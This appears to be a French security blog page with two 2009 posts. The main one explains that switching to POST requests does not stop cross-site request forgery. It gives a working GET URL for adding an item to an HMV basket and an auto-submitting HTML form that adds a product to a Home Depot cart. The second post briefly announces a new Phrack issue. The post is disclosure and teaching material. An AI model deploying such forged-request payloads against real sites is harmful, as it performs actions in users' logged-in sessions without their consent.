vendredi 12 juin 2009

CSRF via des requêtes POST


Dans un article publié cette semaine, Mike Bailey mettait en évidence la possibilité d'ajouter des articles dans les paniers d'achats de Walmart.com ou de faire apparaitre des articles dans la liste des articles récemment consultés de Ebay et Amazon en utilisant du CSRF.

Si Ebay et Amazon sont vulnérables à ce type de problème, il est fortement probable que d'autres sites ait ce genre de problème. Et c'est le cas : une recherche rapide m'a permis de découvrir que les sites de Dumoulin, HMV, Apple, NewEgg, La Source et Home Depot ont aussi ce problème. Pour en faire l'expérience, ouvrez chacun de ces sites pour initialiser vos cookies et ensuite ouvrez ce lien. Vous devriez retrouver plusieurs articles dans vos paniers d'achats.

De simples URL du genre http://hmv.com/hmvweb/addToBasket.do?ctx=280;-1;-1;-1;-1&sku=796148 sont suffisantes pour ajouter les articles, à l'exception du site de Home Depot qui nécessite l'envoie d'un formulaire via une requête POST. Il est recommandé de ne pas utiliser les requêtes GET pour des actions qui changent l'état de l'application web. Celà semble avoir mené à la croyance que l'utilisation de requêtes POST permet d'éviter les CSRF.

Ce n'est toutefois pas le cas car il possible d'envoyer des requêtes POST à un site différent grâce à du Javascript. En voici un exemple :

<body onLoad="document.form1.submit()">
<form name="form1" method="post" action="http://www.homedepot.ca/webapp/wcs/stores/servlet/OrderItemAdd" onSubmit="return false;">
<input type="hidden" name="cartAction" value="AddToCart"/>
<input type="hidden" name="productId" value="1951151164647560"/>
<input type="hidden" name="catEntryId" value="1951151164647560"/>
<input type="hidden" name="quantity" value="1"/>
<input type="hidden" name="URL" value="OrderCalculate?URL=OrderItemDisplay"/>
<input type="hidden" name="orderId" value="."/>
<input type="hidden" name="storeId" value="10051"/>
<input type="hidden" name="catalogId" value="10051"/>
</form>


Cette requête envoie le formulaire au chargement de la page dans le contexte de l'utilisateur, c'est-à-dire que le cookie de l'utilisateur sera envoyé avec la requête s'il existe.

jeudi 11 juin 2009

Nouvelle édition de phrack


Le célèbre magazine phrack vient de publier une nouvelle édition. La derniere parution datait de mars 2008. Bonne lecture!